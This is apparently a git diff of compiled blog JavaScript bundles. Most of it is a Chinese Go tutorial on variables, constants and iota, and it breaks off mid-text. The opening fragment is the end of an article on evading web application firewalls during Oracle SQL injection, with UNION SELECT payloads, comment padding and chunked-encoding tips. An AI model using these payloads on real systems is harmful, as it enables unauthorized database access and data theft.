XXX"}),"\u4e2d\u7684\u90fd\u53ef\u4ee5\u62fc\u63a5\u56de\u8f66\u6216\u6362\u884c\uff0c*\u4e0d\u9650\u4e8e\u5217\u540d\u3001\u5b57\u6bb5\u540d\u3001\u6b63\u5e38\u5b57\u7b26\u4e32\u3002\u5982\u4e0b\u56fe\u5728user\u524d\u62fc\u63a5\u56de\u8f66\u7b26"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1 uNIon sELEct null,to_nchar((SelEct chr(13)||chr(10)||uSEr fROm dual)),null,null fROm dUAl\n"})}),"\n",(0,r.jsx)(e.h3,{id:"\u5206\u5757\u4f20\u8f93",children:"\u5206\u5757\u4f20\u8f93"}),"\n",(0,r.jsxs)(e.p,{children:["\u76f4\u63a5\u7528github\u4e0aburp\u7684\u63d2\u4ef6\u5373\u53ef\uff1a",(0,r.jsx)(e.a,{href:"https://github.com/c0ny1",children:"c0ny1"}),"/",(0,r.jsx)(e.a,{href:"https://github.com/c0ny1/chunked-coding-converter",children:(0,r.jsx)(e.strong,{children:"chunked-coding-converter"})})]}),"\n",(0,r.jsx)(e.h3,{id:"\u810f\u6570\u636e",children:"\u810f\u6570\u636e"}),"\n",(0,r.jsx)(e.p,{children:"waf\u5bf9\u4e8e\u6bcf\u4e00\u4e2a\u6570\u636e\u5305\u90fd\u8fdb\u884c\u68c0\u6d4b\uff0c\u8fd9\u662f\u5f88\u8017\u8d39\u8d44\u6e90\u7684\uff0c\u6240\u4ee5\u4e00\u822c\u53ea\u4f1a\u5728\u56fa\u5b9a\u957f\u5ea6\u8303\u56f4\u5185\u8fdb\u884c\u68c0\u6d4b\uff0c\u90a3\u4e48\u8fd9\u91cc\u5728\u8bed\u53e5\u4e2d\u63d2\u5165\u5927\u91cf\u65e0\u7528\u5b57\u7b26\uff0c\u4fbf\u53ef\u4ee5\u6210\u529f\u7ed5\u8fc7\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-sql",children:"?id=-1/*\u810f\u6570\u636e*/uNIon/*\u810f\u6570\u636e*/sELEct/*\u810f\u6570\u636e*/null,to_nchar((SelEct chr(13)||chr(10)||uSEr/*\u810f\u6570\u636e*/fROm dual)),null,null/*\u810f\u6570\u636e*/fROm/*\u810f\u6570\u636e*/dUAl/*\u810f\u6570\u636e*/\n"})})]})}function m(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(h,{...n})}):h(n)}},28453:(n,e,s)=>{s.d(e,{R:()=>c,x:()=>d});var l=s(96540);const r={},i=l.createContext(r);function c(n){const e=l.useContext(i);return l.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function d(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:c(n.components),l.createElement(i.Provider,{value:e},n.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/0e301a3f.bb000bfc.js b/en/assets/js/0e301a3f.bb000bfc.js new file mode 100644 index 0000000..6041bdf --- /dev/null +++ b/en/assets/js/0e301a3f.bb000bfc.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6042],{28453:(n,e,c)=>{c.d(e,{R:()=>d,x:()=>o});var i=c(96540);const l={},s=i.createContext(l);function d(n){const e=i.useContext(s);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function o(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(l):n.components||l:d(n.components),i.createElement(s.Provider,{value:e},n.children)}},46043:(n,e,c)=>{c.r(e),c.d(e,{assets:()=>r,contentTitle:()=>o,default:()=>h,frontMatter:()=>d,metadata:()=>i,toc:()=>a});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53d8\u91cf\u5e38\u91cf","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53d8\u91cf\u548c\u5e38\u91cf","description":"\u6807\u8bc6\u7b26\u4e0e\u5173\u952e\u5b57","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/02.GoLang-\u53d8\u91cf\u5e38\u91cf.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53d8\u91cf\u5e38\u91cf","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53d8\u91cf\u5e38\u91cf","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/02.GoLang-\u53d8\u91cf\u5e38\u91cf.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u5b89\u88c5Go\u8bed\u8a00\u53ca\u642d\u5efaGo\u8bed\u8a00\u5f00\u53d1\u73af\u5883","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5f00\u53d1\u73af\u5883\u914d\u7f6e"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u57fa\u672c\u6570\u636e\u7c7b\u578b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u6570\u636e\u7c7b\u578b"}}');var l=c(74848),s=c(28453);const d={},o="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53d8\u91cf\u548c\u5e38\u91cf",r={},a=[{value:"\u6807\u8bc6\u7b26\u4e0e\u5173\u952e\u5b57",id:"\u6807\u8bc6\u7b26\u4e0e\u5173\u952e\u5b57",level:2},{value:"\u6807\u8bc6\u7b26",id:"\u6807\u8bc6\u7b26",level:3},{value:"\u5173\u952e\u5b57",id:"\u5173\u952e\u5b57",level:3},{value:"\u53d8\u91cf",id:"\u53d8\u91cf",level:2},{value:"\u53d8\u91cf\u7684\u6765\u5386",id:"\u53d8\u91cf\u7684\u6765\u5386",level:3},{value:"\u53d8\u91cf\u7c7b\u578b",id:"\u53d8\u91cf\u7c7b\u578b",level:3},{value:"\u53d8\u91cf\u58f0\u660e",id:"\u53d8\u91cf\u58f0\u660e",level:3},{value:"\u6807\u51c6\u58f0\u660e",id:"\u6807\u51c6\u58f0\u660e",level:4},{value:"\u6279\u91cf\u58f0\u660e",id:"\u6279\u91cf\u58f0\u660e",level:4},{value:"\u53d8\u91cf\u7684\u521d\u59cb\u5316",id:"\u53d8\u91cf\u7684\u521d\u59cb\u5316",level:3},{value:"\u7c7b\u578b\u63a8\u5bfc",id:"\u7c7b\u578b\u63a8\u5bfc",level:4},{value:"\u77ed\u53d8\u91cf\u58f0\u660e",id:"\u77ed\u53d8\u91cf\u58f0\u660e",level:4},{value:"\u533f\u540d\u53d8\u91cf",id:"\u533f\u540d\u53d8\u91cf",level:4},{value:"\u5e38\u91cf",id:"\u5e38\u91cf",level:2},{value:"iota",id:"iota",level:3},{value:"\u51e0\u4e2a\u5e38\u89c1\u7684iota\u793a\u4f8b:",id:"\u51e0\u4e2a\u5e38\u89c1\u7684iota\u793a\u4f8b",level:4}];function t(n){const e={code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",li:"li",ol:"ol",p:"p",pre:"pre",...(0,s.R)(),...n.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(e.header,{children:(0,l.jsx)(e.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u53d8\u91cf\u548c\u5e38\u91cf",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53d8\u91cf\u548c\u5e38\u91cf"})}),"\n",(0,l.jsx)(e.h2,{id:"\u6807\u8bc6\u7b26\u4e0e\u5173\u952e\u5b57",children:"\u6807\u8bc6\u7b26\u4e0e\u5173\u952e\u5b57"}),"\n",(0,l.jsx)(e.h3,{id:"\u6807\u8bc6\u7b26",children:"\u6807\u8bc6\u7b26"}),"\n",(0,l.jsxs)(e.p,{children:["\u5728\u7f16\u7a0b\u8bed\u8a00\u4e2d\u6807\u8bc6\u7b26\u5c31\u662f\u7a0b\u5e8f\u5458\u5b9a\u4e49\u7684\u5177\u6709\u7279\u6b8a\u610f\u4e49\u7684\u8bcd\uff0c\u6bd4\u5982\u53d8\u91cf\u540d\u3001\u5e38\u91cf\u540d\u3001\u51fd\u6570\u540d\u7b49\u7b49\u3002 Go\u8bed\u8a00\u4e2d\u6807\u8bc6\u7b26\u7531\u5b57\u6bcd\u6570\u5b57\u548c",(0,l.jsx)(e.code,{children:"_"}),"(\u4e0b\u5212\u7ebf\uff09\u7ec4\u6210\uff0c\u5e76\u4e14\u53ea\u80fd\u4ee5\u5b57\u6bcd\u548c",(0,l.jsx)(e.code,{children:"_"}),"\u5f00\u5934\u3002 \u4e3e\u51e0\u4e2a\u4f8b\u5b50\uff1a",(0,l.jsx)(e.code,{children:"abc"}),", ",(0,l.jsx)(e.code,{children:"_"}),", ",(0,l.jsx)(e.code,{children:"_123"}),", ",(0,l.jsx)(e.code,{children:"a123"}),"\u3002"]}),"\n",(0,l.jsx)(e.h3,{id:"\u5173\u952e\u5b57",children:"\u5173\u952e\u5b57"}),"\n",(0,l.jsx)(e.p,{children:"\u5173\u952e\u5b57\u662f\u6307\u7f16\u7a0b\u8bed\u8a00\u4e2d\u9884\u5148\u5b9a\u4e49\u597d\u7684\u5177\u6709\u7279\u6b8a\u542b\u4e49\u7684\u6807\u8bc6\u7b26\u3002 \u5173\u952e\u5b57\u548c\u4fdd\u7559\u5b57\u90fd\u4e0d\u5efa\u8bae\u7528\u4f5c\u53d8\u91cf\u540d\u3002"}),"\n",(0,l.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u670925\u4e2a\u5173\u952e\u5b57\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:" break default func interface select\n case defer go map struct\n chan else goto package switch\n const fallthrough if range type\n continue for import return var\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u6b64\u5916\uff0cGo\u8bed\u8a00\u4e2d\u8fd8\u670937\u4e2a\u4fdd\u7559\u5b57\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:" Constants: true false iota nil\n\n Types: int int8 int16 int32 int64 \n uint uint8 uint16 uint32 uint64 uintptr\n float32 float64 complex128 complex64\n bool byte rune string error\n\n Functions: make len cap new append copy close delete\n complex real imag\n panic recover\n"})}),"\n",(0,l.jsx)(e.h2,{id:"\u53d8\u91cf",children:"\u53d8\u91cf"}),"\n",(0,l.jsx)(e.h3,{id:"\u53d8\u91cf\u7684\u6765\u5386",children:"\u53d8\u91cf\u7684\u6765\u5386"}),"\n",(0,l.jsx)(e.p,{children:"\u7a0b\u5e8f\u8fd0\u884c\u8fc7\u7a0b\u4e2d\u7684\u6570\u636e\u90fd\u662f\u4fdd\u5b58\u5728\u5185\u5b58\u4e2d\uff0c\u6211\u4eec\u60f3\u8981\u5728\u4ee3\u7801\u4e2d\u64cd\u4f5c\u67d0\u4e2a\u6570\u636e\u65f6\u5c31\u9700\u8981\u53bb\u5185\u5b58\u4e0a\u627e\u5230\u8fd9\u4e2a\u53d8\u91cf\uff0c\u4f46\u662f\u5982\u679c\u6211\u4eec\u76f4\u63a5\u5728\u4ee3\u7801\u4e2d\u901a\u8fc7\u5185\u5b58\u5730\u5740\u53bb\u64cd\u4f5c\u53d8\u91cf\u7684\u8bdd\uff0c\u4ee3\u7801\u7684\u53ef\u8bfb\u6027\u4f1a\u975e\u5e38\u5dee\u800c\u4e14\u8fd8\u5bb9\u6613\u51fa\u9519\uff0c\u6240\u4ee5\u6211\u4eec\u5c31\u5229\u7528\u53d8\u91cf\u5c06\u8fd9\u4e2a\u6570\u636e\u7684\u5185\u5b58\u5730\u5740\u4fdd\u5b58\u8d77\u6765\uff0c\u4ee5\u540e\u76f4\u63a5\u901a\u8fc7\u8fd9\u4e2a\u53d8\u91cf\u5c31\u80fd\u627e\u5230\u5185\u5b58\u4e0a\u5bf9\u5e94\u7684\u6570\u636e\u4e86\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u53d8\u91cf\u7c7b\u578b",children:"\u53d8\u91cf\u7c7b\u578b"}),"\n",(0,l.jsx)(e.p,{children:"\u53d8\u91cf\uff08Variable\uff09\u7684\u529f\u80fd\u662f\u5b58\u50a8\u6570\u636e\u3002\u4e0d\u540c\u7684\u53d8\u91cf\u4fdd\u5b58\u7684\u6570\u636e\u7c7b\u578b\u53ef\u80fd\u4f1a\u4e0d\u4e00\u6837\u3002\u7ecf\u8fc7\u534a\u4e2a\u591a\u4e16\u7eaa\u7684\u53d1\u5c55\uff0c\u7f16\u7a0b\u8bed\u8a00\u5df2\u7ecf\u57fa\u672c\u5f62\u6210\u4e86\u4e00\u5957\u56fa\u5b9a\u7684\u7c7b\u578b\uff0c\u5e38\u89c1\u53d8\u91cf\u7684\u6570\u636e\u7c7b\u578b\u6709\uff1a\u6574\u578b\u3001\u6d6e\u70b9\u578b\u3001\u5e03\u5c14\u578b\u7b49\u3002"}),"\n",(0,l.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u7684\u6bcf\u4e00\u4e2a\u53d8\u91cf\u90fd\u6709\u81ea\u5df1\u7684\u7c7b\u578b\uff0c\u5e76\u4e14\u53d8\u91cf\u5fc5\u987b\u7ecf\u8fc7\u58f0\u660e\u624d\u80fd\u5f00\u59cb\u4f7f\u7528\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u53d8\u91cf\u58f0\u660e",children:"\u53d8\u91cf\u58f0\u660e"}),"\n",(0,l.jsx)(e.p,{children:"Go\u8bed\u8a00\u4e2d\u7684\u53d8\u91cf\u9700\u8981\u58f0\u660e\u540e\u624d\u80fd\u4f7f\u7528\uff0c\u540c\u4e00\u4f5c\u7528\u57df\u5185\u4e0d\u652f\u6301\u91cd\u590d\u58f0\u660e\u3002 \u5e76\u4e14Go\u8bed\u8a00\u7684\u53d8\u91cf\u58f0\u660e\u540e\u5fc5\u987b\u4f7f\u7528\u3002"}),"\n",(0,l.jsx)(e.h4,{id:"\u6807\u51c6\u58f0\u660e",children:"\u6807\u51c6\u58f0\u660e"}),"\n",(0,l.jsx)(e.p,{children:"Go\u8bed\u8a00\u7684\u53d8\u91cf\u58f0\u660e\u683c\u5f0f\u4e3a\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var \u53d8\u91cf\u540d \u53d8\u91cf\u7c7b\u578b\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u53d8\u91cf\u58f0\u660e\u4ee5\u5173\u952e\u5b57",(0,l.jsx)(e.code,{children:"var"}),"\u5f00\u5934\uff0c\u53d8\u91cf\u7c7b\u578b\u653e\u5728\u53d8\u91cf\u7684\u540e\u9762\uff0c\u884c\u5c3e\u65e0\u9700\u5206\u53f7\u3002 \u4e3e\u4e2a\u4f8b\u5b50\uff1a"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var name string\nvar age int\nvar isOk bool\n"})}),"\n",(0,l.jsx)(e.h4,{id:"\u6279\u91cf\u58f0\u660e",children:"\u6279\u91cf\u58f0\u660e"}),"\n",(0,l.jsxs)(e.p,{children:["\u6bcf\u58f0\u660e\u4e00\u4e2a\u53d8\u91cf\u5c31\u9700\u8981\u5199",(0,l.jsx)(e.code,{children:"var"}),"\u5173\u952e\u5b57\u4f1a\u6bd4\u8f83\u7e41\u7410\uff0cgo\u8bed\u8a00\u4e2d\u8fd8\u652f\u6301\u6279\u91cf\u53d8\u91cf\u58f0\u660e\uff1a"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var (\n a string\n b int\n c bool\n d float32\n)\n"})}),"\n",(0,l.jsx)(e.h3,{id:"\u53d8\u91cf\u7684\u521d\u59cb\u5316",children:"\u53d8\u91cf\u7684\u521d\u59cb\u5316"}),"\n",(0,l.jsxs)(e.p,{children:["Go\u8bed\u8a00\u5728\u58f0\u660e\u53d8\u91cf\u7684\u65f6\u5019\uff0c\u4f1a\u81ea\u52a8\u5bf9\u53d8\u91cf\u5bf9\u5e94\u7684\u5185\u5b58\u533a\u57df\u8fdb\u884c\u521d\u59cb\u5316\u64cd\u4f5c\u3002\u6bcf\u4e2a\u53d8\u91cf\u4f1a\u88ab\u521d\u59cb\u5316\u6210\u5176\u7c7b\u578b\u7684\u9ed8\u8ba4\u503c\uff0c\u4f8b\u5982\uff1a \u6574\u578b\u548c\u6d6e\u70b9\u578b\u53d8\u91cf\u7684\u9ed8\u8ba4\u503c\u4e3a",(0,l.jsx)(e.code,{children:"0"}),"\u3002 \u5b57\u7b26\u4e32\u53d8\u91cf\u7684\u9ed8\u8ba4\u503c\u4e3a",(0,l.jsx)(e.code,{children:"\u7a7a\u5b57\u7b26\u4e32"}),"\u3002 \u5e03\u5c14\u578b\u53d8\u91cf\u9ed8\u8ba4\u4e3a",(0,l.jsx)(e.code,{children:"false"}),"\u3002 \u5207\u7247\u3001\u51fd\u6570\u3001\u6307\u9488\u53d8\u91cf\u7684\u9ed8\u8ba4\u4e3a",(0,l.jsx)(e.code,{children:"nil"}),"\u3002"]}),"\n",(0,l.jsx)(e.p,{children:"\u5f53\u7136\u6211\u4eec\u4e5f\u53ef\u5728\u58f0\u660e\u53d8\u91cf\u7684\u65f6\u5019\u4e3a\u5176\u6307\u5b9a\u521d\u59cb\u503c\u3002\u53d8\u91cf\u521d\u59cb\u5316\u7684\u6807\u51c6\u683c\u5f0f\u5982\u4e0b\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"var \u53d8\u91cf\u540d \u7c7b\u578b = \u8868\u8fbe\u5f0f\n"})}),"\n",(0,l.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'var name string = "Q1mi"\nvar age int = 18\n'})}),"\n",(0,l.jsx)(e.p,{children:"\u6216\u8005\u4e00\u6b21\u521d\u59cb\u5316\u591a\u4e2a\u53d8\u91cf"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'var name, age = "Q1mi", 20\n'})}),"\n",(0,l.jsx)(e.h4,{id:"\u7c7b\u578b\u63a8\u5bfc",children:"\u7c7b\u578b\u63a8\u5bfc"}),"\n",(0,l.jsx)(e.p,{children:"\u6709\u65f6\u5019\u6211\u4eec\u4f1a\u5c06\u53d8\u91cf\u7684\u7c7b\u578b\u7701\u7565\uff0c\u8fd9\u4e2a\u65f6\u5019\u7f16\u8bd1\u5668\u4f1a\u6839\u636e\u7b49\u53f7\u53f3\u8fb9\u7684\u503c\u6765\u63a8\u5bfc\u53d8\u91cf\u7684\u7c7b\u578b\u5b8c\u6210\u521d\u59cb\u5316\u3002"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'var name = "Q1mi"\nvar age = 18\n'})}),"\n",(0,l.jsx)(e.h4,{id:"\u77ed\u53d8\u91cf\u58f0\u660e",children:"\u77ed\u53d8\u91cf\u58f0\u660e"}),"\n",(0,l.jsxs)(e.p,{children:["\u5728\u51fd\u6570\u5185\u90e8\uff0c\u53ef\u4ee5\u4f7f\u7528\u66f4\u7b80\u7565\u7684 ",(0,l.jsx)(e.code,{children:":="})," \u65b9\u5f0f\u58f0\u660e\u5e76\u521d\u59cb\u5316\u53d8\u91cf\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n)\n// \u5168\u5c40\u53d8\u91cfm\nvar m = 100\n\nfunc main() {\n\tn := 10\n\tm := 200 // \u6b64\u5904\u58f0\u660e\u5c40\u90e8\u53d8\u91cfm\n\tfmt.Println(m, n)\n}\n'})}),"\n",(0,l.jsx)(e.h4,{id:"\u533f\u540d\u53d8\u91cf",children:"\u533f\u540d\u53d8\u91cf"}),"\n",(0,l.jsxs)(e.p,{children:["\u5728\u4f7f\u7528\u591a\u91cd\u8d4b\u503c\u65f6\uff0c\u5982\u679c\u60f3\u8981\u5ffd\u7565\u67d0\u4e2a\u503c\uff0c\u53ef\u4ee5\u4f7f\u7528",(0,l.jsx)(e.code,{children:"\u533f\u540d\u53d8\u91cf\uff08anonymous variable\uff09"}),"\u3002 \u533f\u540d\u53d8\u91cf\u7528\u4e00\u4e2a\u4e0b\u5212\u7ebf",(0,l.jsx)(e.code,{children:"_"}),"\u8868\u793a\uff0c\u4f8b\u5982\uff1a"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:'func foo() (int, string) {\n\treturn 10, "Q1mi"\n}\nfunc main() {\n\tx, _ := foo()\n\t_, y := foo()\n\tfmt.Println("x=", x)\n\tfmt.Println("y=", y)\n}\n'})}),"\n",(0,l.jsxs)(e.p,{children:["\u533f\u540d\u53d8\u91cf\u4e0d\u5360\u7528\u547d\u540d\u7a7a\u95f4\uff0c\u4e0d\u4f1a\u5206\u914d\u5185\u5b58\uff0c\u6240\u4ee5\u533f\u540d\u53d8\u91cf\u4e4b\u95f4\u4e0d\u5b58\u5728\u91cd\u590d\u58f0\u660e\u3002 (\u5728",(0,l.jsx)(e.code,{children:"Lua"}),"\u7b49\u7f16\u7a0b\u8bed\u8a00\u91cc\uff0c\u533f\u540d\u53d8\u91cf\u4e5f\u88ab\u53eb\u505a\u54d1\u5143\u53d8\u91cf\u3002)"]}),"\n",(0,l.jsx)(e.p,{children:"\u6ce8\u610f\u4e8b\u9879\uff1a"}),"\n",(0,l.jsxs)(e.ol,{children:["\n",(0,l.jsx)(e.li,{children:"\u51fd\u6570\u5916\u7684\u6bcf\u4e2a\u8bed\u53e5\u90fd\u5fc5\u987b\u4ee5\u5173\u952e\u5b57\u5f00\u59cb\uff08var\u3001const\u3001func\u7b49\uff09"}),"\n",(0,l.jsxs)(e.li,{children:[(0,l.jsx)(e.code,{children:":="}),"\u4e0d\u80fd\u4f7f\u7528\u5728\u51fd\u6570\u5916\u3002"]}),"\n",(0,l.jsxs)(e.li,{children:[(0,l.jsx)(e.code,{children:"_"}),"\u591a\u7528\u4e8e\u5360\u4f4d\uff0c\u8868\u793a\u5ffd\u7565\u503c\u3002"]}),"\n"]}),"\n",(0,l.jsx)(e.h2,{id:"\u5e38\u91cf",children:"\u5e38\u91cf"}),"\n",(0,l.jsxs)(e.p,{children:["\u76f8\u5bf9\u4e8e\u53d8\u91cf\uff0c\u5e38\u91cf\u662f\u6052\u5b9a\u4e0d\u53d8\u7684\u503c\uff0c\u591a\u7528\u4e8e\u5b9a\u4e49\u7a0b\u5e8f\u8fd0\u884c\u671f\u95f4\u4e0d\u4f1a\u6539\u53d8\u7684\u90a3\u4e9b\u503c\u3002 \u5e38\u91cf\u7684\u58f0\u660e\u548c\u53d8\u91cf\u58f0\u660e\u975e\u5e38\u7c7b\u4f3c\uff0c\u53ea\u662f\u628a",(0,l.jsx)(e.code,{children:"var"}),"\u6362\u6210\u4e86",(0,l.jsx)(e.code,{children:"const"}),"\uff0c\u5e38\u91cf\u5728\u5b9a\u4e49\u7684\u65f6\u5019\u5fc5\u987b\u8d4b\u503c\u3002"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"const pi = 3.1415\nconst e = 2.7182\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u58f0\u660e\u4e86",(0,l.jsx)(e.code,{children:"pi"}),"\u548c",(0,l.jsx)(e.code,{children:"e"}),"\u8fd9\u4e24\u4e2a\u5e38\u91cf\u4e4b\u540e\uff0c\u5728\u6574\u4e2a\u7a0b\u5e8f\u8fd0\u884c\u671f\u95f4\u5b83\u4eec\u7684\u503c\u90fd\u4e0d\u80fd\u518d\u53d1\u751f\u53d8\u5316\u4e86\u3002"]}),"\n",(0,l.jsx)(e.p,{children:"\u591a\u4e2a\u5e38\u91cf\u4e5f\u53ef\u4ee5\u4e00\u8d77\u58f0\u660e\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"const (\n pi = 3.1415\n e = 2.7182\n)\n"})}),"\n",(0,l.jsx)(e.p,{children:"const\u540c\u65f6\u58f0\u660e\u591a\u4e2a\u5e38\u91cf\u65f6\uff0c\u5982\u679c\u7701\u7565\u4e86\u503c\u5219\u8868\u793a\u548c\u4e0a\u9762\u4e00\u884c\u7684\u503c\u76f8\u540c\u3002 \u4f8b\u5982\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"const (\n n1 = 100\n n2\n n3\n)\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u4e0a\u9762\u793a\u4f8b\u4e2d\uff0c\u5e38\u91cf",(0,l.jsx)(e.code,{children:"n1"}),"\u3001",(0,l.jsx)(e.code,{children:"n2"}),"\u3001",(0,l.jsx)(e.code,{children:"n3"}),"\u7684\u503c\u90fd\u662f100\u3002"]}),"\n",(0,l.jsx)(e.h3,{id:"iota",children:"iota"}),"\n",(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.code,{children:"iota"}),"\u662fgo\u8bed\u8a00\u7684\u5e38\u91cf\u8ba1\u6570\u5668\uff0c\u53ea\u80fd\u5728\u5e38\u91cf\u7684\u8868\u8fbe\u5f0f\u4e2d\u4f7f\u7528\u3002"]}),"\n",(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.code,{children:"iota"}),"\u5728const\u5173\u952e\u5b57\u51fa\u73b0\u65f6\u5c06\u88ab\u91cd\u7f6e\u4e3a0\u3002const\u4e2d\u6bcf\u65b0\u589e\u4e00\u884c\u5e38\u91cf\u58f0\u660e\u5c06\u4f7f",(0,l.jsx)(e.code,{children:"iota"}),"\u8ba1\u6570\u4e00\u6b21(iota\u53ef\u7406\u89e3\u4e3aconst\u8bed\u53e5\u5757\u4e2d\u7684\u884c\u7d22\u5f15)\u3002 \u4f7f\u7528iota\u80fd\u7b80\u5316\u5b9a\u4e49\uff0c\u5728\u5b9a\u4e49\u679a\u4e3e\u65f6\u5f88\u6709\u7528\u3002"]}),"\n",(0,l.jsx)(e.p,{children:"\u4e3e\u4e2a\u4f8b\u5b50\uff1a"}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"const (\n\t\tn1 = iota //0\n\t\tn2 //1\n\t\tn3 //2\n\t\tn4 //3\n\t)\n"})}),"\n",(0,l.jsxs)(e.h4,{id:"\u51e0\u4e2a\u5e38\u89c1\u7684iota\u793a\u4f8b",children:["\u51e0\u4e2a\u5e38\u89c1\u7684",(0,l.jsx)(e.code,{children:"iota"}),"\u793a\u4f8b:"]}),"\n",(0,l.jsxs)(e.p,{children:["\u4f7f\u7528",(0,l.jsx)(e.code,{children:"_"}),"\u8df3\u8fc7\u67d0\u4e9b\u503c"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"const (\n\t\tn1 = iota //0\n\t\tn2 //1\n\t\t_\n\t\tn4 //3\n\t)\n"})}),"\n",(0,l.jsxs)(e.p,{children:[(0,l.jsx)(e.code,{children:"iota"}),"\u58f0\u660e\u4e2d\u95f4\u63d2\u961f"]}),"\n",(0,l.jsx)(e.pre,{children:(0,l.jsx)(e.code,{className:"language-go",children:"const (\n\t\tn1 = iota //0\n\t\tn2 = 100 //100\n\t\tn3 = iota //2\n\t\tn4 //3\n\t)\n\tconst n5 = iota //0\n"})}),"\n",(0,l.jsxs)(e.p,{children:["\u5b9a\u4e49\u6570\u91cf\u7ea7 \uff08\u8fd9\u91cc\u7684",(0,l.jsx)(e.code,{children:"<<"}),"\u8868\u793a\u5de6\u79fb\u64cd\u4f5c\uff0c",(0,l.jsx)(e.code,{children:"1<<10"}),"\u8868\u793a\u5c061\u7684\u4e8c\u8fdb\u5236\u8868\u793a\u5411\u5de6\u79fb10\u4f4d\uff0c\u4e5f\u5c31\u662f\u7531",(0,l.jsx)(e.code,{children:"1"}),"\u53d8\u6210\u4e86",(0,l.jsx)(e.code,{children:"10000000000"}),"\uff0c\u4e5f\u5c31\u662f\u5341\u8fdb\u5236\u76841024\u3002\u540c\u7406",(0,l.jsx)(e.code,{children:"2<<2"}),"\u8868\u793a\u5c062\u7684\u4e8c\u8fdb\u5236\u8868\u793a\u5411\u5de6\u79fb2\u4f4d\uff0c\u4e5f\u5c31\u662f\u7531",(0,l.jsx)(e.code,{children:"10"}),"\u53d8\u6210\u4e86",(0,l.jsx)(e.code,{children:"1000"}),"\uff0c\u4e5f\u5c31\u662f\u5341\u8fdb\u